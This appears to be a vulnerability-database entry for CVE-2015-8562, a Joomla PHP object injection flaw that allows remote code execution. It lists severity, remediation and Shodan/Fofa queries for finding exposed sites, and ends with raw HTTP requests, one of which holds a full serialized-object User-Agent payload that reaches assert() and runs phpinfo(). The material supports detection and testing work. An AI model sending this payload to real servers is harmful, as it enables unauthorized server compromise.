| Title | Joomla HTTP Header Unauthenticated - Remote Code Execution |
|---|---|
| Author | kairos-hk,bolkv,n0ming,RoughBoy0723 |
| Severity | High |
| Impact | Attackers can execute arbitrary PHP code on the server through PHP object injection, leading to complete server compromise and potential data breach. |
| Remediation | Update to Joomla 3.4.6 or later immediately. |
| CVSS Score | 7.5 |
| EPSS Score | 0.93895 |
| CVE ID | CVE-2015-8562 |
| Shodan Query | http.html:"joomla! - open source content management"http.component:"joomla"cpe:"cpe:2.3:a:joomla:joomla\!" |
| Fofa Query | body="joomla! - open source content management" |
| Tags | cve cve2015 joomla rce unauth vkev vuln |
Joomla! 1.5.x, 2.x, and 3.x before 3.4.6 allow remote attackers to conduct PHP object injection attacks and execute arbitrary PHP code via the HTTP User-Agent header, as exploited in the wild in December 2015
GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/125.5.6 (KHTML, like Gecko) Safari/125.12
Connection: close
Accept-Encoding: gzip
GET / HTTP/1.1
Host: www.victim.com
User-Agent: 123}__test|O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:37:"phpinfo();JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}𝌆
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2015/CVE-2015-8562.yaml
🦈 Packet Capture: ⬇️ Download cve-2015-8562.pcap
N/AN/A